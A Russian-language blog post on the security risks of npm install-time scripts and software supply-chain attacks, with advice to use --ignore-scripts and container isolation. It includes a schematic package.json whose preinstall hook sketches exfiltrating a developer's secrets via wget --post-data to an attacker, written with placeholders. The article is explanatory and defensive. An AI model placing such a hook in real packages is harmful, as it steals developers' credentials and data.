Авторский проект IT-специалиста Олега Барабанова Персональные публикации на тему IT и не только…

Некоторые проблемы безопасности при установке модулей с помощью NPM

Парадоксальная ситуация, но практически вся современная веб-разработка так или иначе связана с NPM. Такая сильная зависимость неудивительна, поскольку NodeJS и NPM тесно находятся в одной экосистеме, в которой без NPM трудно обойтись современному веб-разработчику, позволяя легко, быстро и организованно загружать сторонние зависимости в свой код, а также согласованно с ними работать.

Тем не менее, от того, что NPM повально популярен, это не значит, что работа с ним безопасна для вашего проекта.

Чрезмерное доверие коду, расположенному в NPM репозитории

И вот же что интересно, так это то, что огромная популярность NPM и простота загрузки стороннего кода с помощью него для некоторых разработчиков почему-то вызывают иллюзию безопасности кода, который в нем размещен. Это может быть связано с несколькими причинами.

Ну во-первых, раз NPM популярен и им все пользуются, то почему-то кажется вполне безопасным грузить с него код. Т.е. доверяя NPM, почему-то доверяют и скачиваемому коду, наивно полагая, что команда NPM все подряд проверяет досконально.

Во-вторых, внешне кажущаяся безопасность исполнения команды npm install. Вот тут наверное немного играет психология ожидаемого результата. Например, многие знают про стандартную команду rm, которую некоторые боятся запускать из-за репутации rm -rf, хотя по сути это вполне стандартный инструмент. А вот npm install выглядит не страшно, он же ничего не должен уничтожать и поэтому его вроде бы можно бесстрашно запускать. Но это опять же только иллюзия.

Скрипты установки в package.json

Большинству разработчиков, при использовании npm install даже не интересно, как эта команда работает. Ну устанавливает и все, работает же, какие еще могут быть проблемы? А ведь тут и кроется одна из проблем безопасности, заключающаяся во вседозволенности NPM-скриптов.

Суть в том, что NPM не только скачивает и устанавливает код в бездну node_modules, но так-же (внимание!) запускает специальные скрипты которые могут выполняться при определенных событиях, таких как установка, удаление и пр. и которые указываются в параметре scripts в package.json скачиваемого модуля. Например в случае установки могут быть указаны такие события для выполнения, как:

Все это в несколько нехорошем виде выглядит как-то так в package.json:

{
  "scripts": {
    "preinstall": "wget --post-data {ваши секретные данные, передаваемые злоумышленнику черт знает куда}",
    "install": "node install-script.mjs",
    "postinstall": "{{ тут тоже можно какую-нибудь незаметную зловредную команду указать }}"
  }
}

И самый прикол, что устанавливая какой либо модуль с NPM, вы так-же устанавливаете все его зависимости, а также зависимости этих зависимостей и т.д. и какая-нибудь из этих зависимостей вполне может оказаться зловредной. Подобная проблема известна также как SSC (software supply chain) attacks — атака на цепочки поставок программного обеспечения, что является достаточно коварной проблемой современной разработки и возможно позднее я уделю ей отдельную статью для обсуждения.

Конечно можно запускать сомнительную установку с параметром ignore-scripts (npm install … --ignore-scripts), но в некоторых случаях это ломает установку, что вполне понятно, поскольку есть немало модулей (фреймворков, библиотек, …) в которых без дополнительных скриптов установки не обойтись, поскольку нужно доустановить кучу внешних зависимостей. Просто я считаю что нужно явно учитывать в голове про такую функциональность, когда вы устанавливаете неизвестный код в ваш проект под вашей девелоперской учеткой.

Немного подробнее про проблемы скриптов установки в NPM вы можете ознакомиться в недавней очень неплохой статье "How npm install scripts can be weaponized: A real-world example of a harmful npm package". Там это все несколько подробнее представлено.

Так как же можно обезопасить разработчику работу с NPM

Для более менее безопасной работы со всем этим кодом, вам стоит рассмотреть возможность использовать технологии контейнеризации (например Docker) для максимальной изоляции исполняемого окружения от ненужного доступа к файлам, устройствам или в сеть, давая доступ только к тому, чему вы считаете нужным. Также можно использовать виртуализацию всего этого, но это конечно более ресурсоемко.

Причем это нужно делать не только на продакшене, но и в девелоперской среде (хоть это и местами неудобно), поскольку есть немало случаев, когда зловред атакует именно девелоперские машины, которые уже сами занесут вредоносный код на продакш.

Это все конечно не дает стопроцентных гарантий, но хотя бы позволяет снизить возможные последствия воздействия вредоносного кода, что уже неплохо.

Заключение

Неудивительно, что жесткие политики безопасности, которым следуют некоторые сисадмины, зачастую являются вынужденной мерой, поскольку немало веб-разработчиков относятся халатно к вопросам безопасности своей среды разработки, например когда не задумываясь запускают под своей привилигированной учеткой (которая имеет доступ к куче клиентских систем) какой-то чужой код. Такая неосторожность неудивляет, поскольку часто скорость разработки ставится в ущерб качеству и надежности ("типа бизнес не ждет"). Просто потом не надо удивляться, откуда взломали сервера.

Конечно есть разработчики, которых всё-таки сильно заботит надежность кода, например те кто предоставляют долгосрочную поддержку (long-term support) программного продукта, которые получают за это деньги и поэтому им лишние сюопризы не нужны. В таком случае, используют только проверенные в деле компоненты, а также стараются не вносить в код сомнительный сторонний код в угоду срокам, поскольку это в будущем может привести к неприятным последствиям.

Но даже если вам нужно по-быстрому решить задачу, пожалуйста не забывайте про банальнейшую безопасность, поскольку такая неосторожность в какой-то момент, по закону подлости может привести к печальным последствиям.